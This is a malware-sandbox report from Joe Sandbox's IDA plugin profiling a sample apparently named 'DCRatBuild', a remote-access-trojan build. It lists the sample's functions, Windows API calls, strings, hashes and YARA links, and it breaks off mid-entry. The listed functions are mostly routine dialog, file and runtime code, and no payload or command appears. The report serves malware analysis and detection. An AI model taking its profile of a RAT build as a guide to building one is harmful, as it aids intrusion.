Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: efa1160ae57f2d86a65bd12167e44a43e0a6f5b4c4767d1b34b6076369628c48
Instruction ID: 06aedd556372d9fff6b186160066bf26b1d8bcbcf39e0b2d4d0e7157901f3f07
Opcode Fuzzy Hash: efa1160ae57f2d86a65bd12167e44a43e0a6f5b4c4767d1b34b6076369628c48
Instruction Fuzzy Hash: A8A0243004040D47DD001730CD0400C7710F7117C030051D47007CF471C7134407C700

Uniqueness

Uniqueness Score: -1.00%

Function 0088AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0088AE72,C:\Users\user\AppData\Local\Temp,00000000,008B946A,00000006), ref: 0088AC08

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: d7ca231b6534acbaad32e7679b29081b36010aa4c5cd7f6288b31a9b6600b2a4
Instruction ID: 4f33071a97c365bcded9bab8e976fbec94e6a5449287108301bc07b3ffaf4e00
Opcode Fuzzy Hash: d7ca231b6534acbaad32e7679b29081b36010aa4c5cd7f6288b31a9b6600b2a4
Instruction Fuzzy Hash: DFA011302002008BA2000B328F0AA0EBAAABFA2B00F00C028B00080030CB30C820BA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0088C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0088C2B1
EndDialog.USER32(?,00000006), ref: 0088C2C4
GetDlgItem.USER32(?,0000006C), ref: 0088C2E0
SetFocus.USER32(00000000), ref: 0088C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0088C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0088C358
FindFirstFileW.KERNEL32(?,?), ref: 0088C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0088C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0088C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0088C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0088C3D4
_swprintf.LIBCMT ref: 0088C404

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0088C417
FindClose.KERNEL32(00000000), ref: 0088C41E
_swprintf.LIBCMT ref: 0088C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0088C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0088C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0088C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0088C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0088C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0088C509
_swprintf.LIBCMT ref: 0088C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0088C548
_swprintf.LIBCMT ref: 0088C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0088C5AF

Part of subcall function 0088AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0088AF35
Part of subcall function 0088AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,008AE72C,?,?), ref: 0088AF84

Strings

REPLACEFILEDLG, xrefs: 0088C247
%s %s, xrefs: 0088C469, 0088C58E
%s %s %s, xrefs: 0088C3F2, 0088C527

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 0d26817879fea05a8d511308591699c59835a5dfef95b1ed57c19d89ec7b4f52
Instruction ID: bb61c5eeaec92a7f9623bff44984e6f239a03474a7689ba9699b8f7bb0568772
Opcode Fuzzy Hash: 0d26817879fea05a8d511308591699c59835a5dfef95b1ed57c19d89ec7b4f52
Instruction Fuzzy Hash: F4919272248348BBE621EBA4CC49FFB77ACFB4A700F004919B649D6085D775EA048B73

Uniqueness

Uniqueness Score: -1.00%

Function 00876FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00876FAA
_wcslen.LIBCMT ref: 00877013
_wcslen.LIBCMT ref: 00877084

Part of subcall function 00877A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00877AAB
Part of subcall function 00877A9C: GetLastError.KERNEL32 ref: 00877AF1
Part of subcall function 00877A9C: CloseHandle.KERNEL32(?), ref: 00877B00

Part of subcall function 0087A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0087977F,?,?,008795CF,?,?,?,?,?,008A2641,000000FF), ref: 0087A1F1
Part of subcall function 0087A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0087977F,?,?,008795CF,?,?,?,?,?,008A2641), ref: 0087A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00877139
CloseHandle.KERNEL32(00000000), ref: 00877155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00877298

Part of subcall function 00879DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,008773BC,?,?,?,00000000), ref: 00879DBC
Part of subcall function 00879DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00879E70

Part of subcall function 00879620: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,008795D6,?,?,?,?,?,008A2641,000000FF), ref: 0087963B

Part of subcall function 0087A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A501
Part of subcall function 0087A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A532

Strings

\??\, xrefs: 0087702B
UNC\, xrefs: 00877051
SeRestorePrivilege, xrefs: 00876FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00876FCC

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandle_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2821348736-3508440684
Opcode ID: b96c5d6bdc96c365d5e5559d6a56d4d4150da8988ac826aba408b7e8dd4a2221
Instruction ID: d093fb2eb464f53a5193d5bb6f8b00cfb17bd4979cebd0f6ac45152ea215a075
Opcode Fuzzy Hash: b96c5d6bdc96c365d5e5559d6a56d4d4150da8988ac826aba408b7e8dd4a2221
Instruction Fuzzy Hash: B9C10C71904644AAEB25EB78CC81FEEB3A8FF04300F408559F55EE7246E734EA44CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0088F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0088F844
IsDebuggerPresent.KERNEL32 ref: 0088F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0088F930
UnhandledExceptionFilter.KERNEL32(?), ref: 0088F93A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8ef3e9ca17fb6aae9444784a884bb21ae13f93fdec0354359eac0f008af7d21f
Instruction ID: fc62e618c3425b53a13a4f377e306ff037087d448235b76f3c9ce2bbdad104ad
Opcode Fuzzy Hash: 8ef3e9ca17fb6aae9444784a884bb21ae13f93fdec0354359eac0f008af7d21f
Instruction Fuzzy Hash: 16311875D452199BDB20EFA4D9897CCBBB8FF08304F1040EAE60CAB251EB719B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 0088E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,0088E5E8,0000001C,0088E7DD,00000000,?,?,?,?,?,?,?,0088E5E8,00000004,008D1CEC,0088E86D), ref: 0088E6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,0088E5E8,00000004,008D1CEC,0088E86D), ref: 0088E6CF

Strings

D, xrefs: 0088E6C3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 9f0d4d6b97446874078de8c651e3d70c1682fce61e8edbb9114d53371727b108
Instruction ID: f09b7c3911505b28b4245574e37d6965ee123a28ece9accef711bade9627639f
Opcode Fuzzy Hash: 9f0d4d6b97446874078de8c651e3d70c1682fce61e8edbb9114d53371727b108
Instruction Fuzzy Hash: EE01A7726001096BDB14EE29DC49BDD7BAAFFC5324F0CC124FD59D7154E634D9058790

Uniqueness

Uniqueness Score: -1.00%

Function 0088AF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0088AF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,008AE72C,?,?), ref: 0088AF84

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 9589ed155844b20a5737e6ca8afb296707a486bd1236a09dfd98165d27b20029
Instruction ID: abb96be27e20fb23ae2b7998f841b2b4ee0972569b3b9e4950f00a3e59be1b7f
Opcode Fuzzy Hash: 9589ed155844b20a5737e6ca8afb296707a486bd1236a09dfd98165d27b20029
Instruction Fuzzy Hash: B5012C7A240319AAE7109FA4EC45F9A77BCFF09710F009422FB05E7191E370AA19CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0087B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0087B16B

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: d66f255b9a8e8909a8ddcb728b18bb3515c399273894db355a7ae4a0797a41be
Instruction ID: c14cb4ce5045f75b6402d11efa0a0f9138e909615288f6fbf83eb56b42ed95fc
Opcode Fuzzy Hash: d66f255b9a8e8909a8ddcb728b18bb3515c399273894db355a7ae4a0797a41be
Instruction Fuzzy Hash: F9F03AB4E10A088FDB18DB18ECA66D973F2FB99315F604795D619D3390D7B0E9818E60

Uniqueness

Uniqueness Score: -1.00%

Function 0087E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0087E30E

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

Part of subcall function 00881DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,008B1030,00000200,0087D928,00000000,?,00000050,008B1030), ref: 00881DC4

_strlen.LIBCMT ref: 0087E32F
SetDlgItemTextW.USER32(?,008AE274,?), ref: 0087E38F
GetWindowRect.USER32(?,?), ref: 0087E3C9
GetClientRect.USER32(?,?), ref: 0087E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0087E475
GetWindowRect.USER32(?,?), ref: 0087E4A2
SetWindowTextW.USER32(?,?), ref: 0087E4DB
GetSystemMetrics.USER32(00000008), ref: 0087E4E3
GetWindow.USER32(?,00000005), ref: 0087E4EE
GetWindowRect.USER32(00000000,?), ref: 0087E51B
GetWindow.USER32(00000000,00000002), ref: 0087E58D

Strings

CAPTION, xrefs: 0087E4BD
d, xrefs: 0087E3F5
$%s:, xrefs: 0087E302

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: b65d168bb39a960b4de11d0302d8815ef91bfba78b1f9b12d250c9104f6655e6
Instruction ID: 6745989b37c2648d4b7309f3fdd6719dc24eb5cd77c3b43c6f6c0c9fd35a66e9
Opcode Fuzzy Hash: b65d168bb39a960b4de11d0302d8815ef91bfba78b1f9b12d250c9104f6655e6
Instruction Fuzzy Hash: 9A819171208301AFD710DFA8CD89A6FBBE9FF89704F04491DFA88D7254D631E9058B52

Uniqueness

Uniqueness Score: -1.00%

Function 0089CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0089CB66

Part of subcall function 0089C701: _free.LIBCMT ref: 0089C71E
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C730
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C742
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C754
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C766
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C778
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C78A
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C79C
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C7AE
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C7C0
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C7D2
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C7E4
Part of subcall function 0089C701: _free.LIBCMT ref: 0089C7F6

_free.LIBCMT ref: 0089CB5B

Part of subcall function 00898DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?), ref: 00898DE2
Part of subcall function 00898DCC: GetLastError.KERNEL32(?,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?,?), ref: 00898DF4

_free.LIBCMT ref: 0089CB7D
_free.LIBCMT ref: 0089CB92
_free.LIBCMT ref: 0089CB9D
_free.LIBCMT ref: 0089CBBF
_free.LIBCMT ref: 0089CBD2
_free.LIBCMT ref: 0089CBE0
_free.LIBCMT ref: 0089CBEB
_free.LIBCMT ref: 0089CC23
_free.LIBCMT ref: 0089CC2A
_free.LIBCMT ref: 0089CC47
_free.LIBCMT ref: 0089CC5F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: c44d9158d7a52c3ef7fe0a9d744f76ff222c2ad03274e105acfdf35e9956d217
Instruction ID: dcf90462cf2802fb4b73ba0cdf9beed6833425dff18c98788036b2184b79a3be
Opcode Fuzzy Hash: c44d9158d7a52c3ef7fe0a9d744f76ff222c2ad03274e105acfdf35e9956d217
Instruction Fuzzy Hash: 1B313731600206DFEF20BA7DD846B5AB7E9FF11364F184829E189D7192DE32AC80CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0088D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0088D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 0088D6ED

Part of subcall function 00881FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0087C116,00000000,.exe,?,?,00000800,?,?,?,00888E3C), ref: 00881FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 0088D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0088D720
GetObjectW.GDI32(00000000,00000018,?), ref: 0088D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0088D75D
DeleteObject.GDI32(00000000), ref: 0088D764
GetWindow.USER32(00000000,00000002), ref: 0088D76D

Strings

STATIC, xrefs: 0088D6F3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 70a2f46b1fce369ad4f36964cb36d78094bbcbeb004837d633fe7798556af1e1
Instruction ID: 9295fbca7d22265be0acaf9a9dfe7c72ed0fc55e208d2d39fbb2999dc3a62097
Opcode Fuzzy Hash: 70a2f46b1fce369ad4f36964cb36d78094bbcbeb004837d633fe7798556af1e1
Instruction Fuzzy Hash: AA11E1726417117BE621BBB4AC4AFAF775CFB54711F008222FA51E20D2EA64CE0547A7

Uniqueness

Uniqueness Score: -1.00%

Function 008996F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00899705

Part of subcall function 00898DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?), ref: 00898DE2
Part of subcall function 00898DCC: GetLastError.KERNEL32(?,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?,?), ref: 00898DF4

_free.LIBCMT ref: 00899711
_free.LIBCMT ref: 0089971C
_free.LIBCMT ref: 00899727
_free.LIBCMT ref: 00899732
_free.LIBCMT ref: 0089973D
_free.LIBCMT ref: 00899748
_free.LIBCMT ref: 00899753
_free.LIBCMT ref: 0089975E
_free.LIBCMT ref: 0089976C

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 173cd230564891e3b81081870db73cafface3cb29eeaaf920af5dd9ec55ea83b
Instruction ID: d73c752d7d2cfd02939d10ee977dcb9b9be5917d55d881b519cd8180cabba139
Opcode Fuzzy Hash: 173cd230564891e3b81081870db73cafface3cb29eeaaf920af5dd9ec55ea83b
Instruction Fuzzy Hash: C511927611010AEFCF01FF98CC42CD93BB5FF15390B5955A5FA088B262DE32DA509B85

Uniqueness

Uniqueness Score: -1.00%

Function 00892E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00892F50
___TypeMatch.LIBVCRUNTIME ref: 0089305E
_UnwindNestedFrames.LIBCMT ref: 008931B0
CallUnexpected.LIBVCRUNTIME ref: 008931CB
_abort.LIBCMT ref: 008931D0

Strings

csm, xrefs: 00892E6E
csm, xrefs: 00892F87
csm, xrefs: 00892EDB

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 2368bd18ec839c4555c2eabd836cd37243e0671de94dca2cd1ccd7ec0565f8d0
Instruction ID: a64f6239710574eb7b02041bd53fa8c4a27d03d0c37bca4057211ba1895f5e05
Opcode Fuzzy Hash: 2368bd18ec839c4555c2eabd836cd37243e0671de94dca2cd1ccd7ec0565f8d0
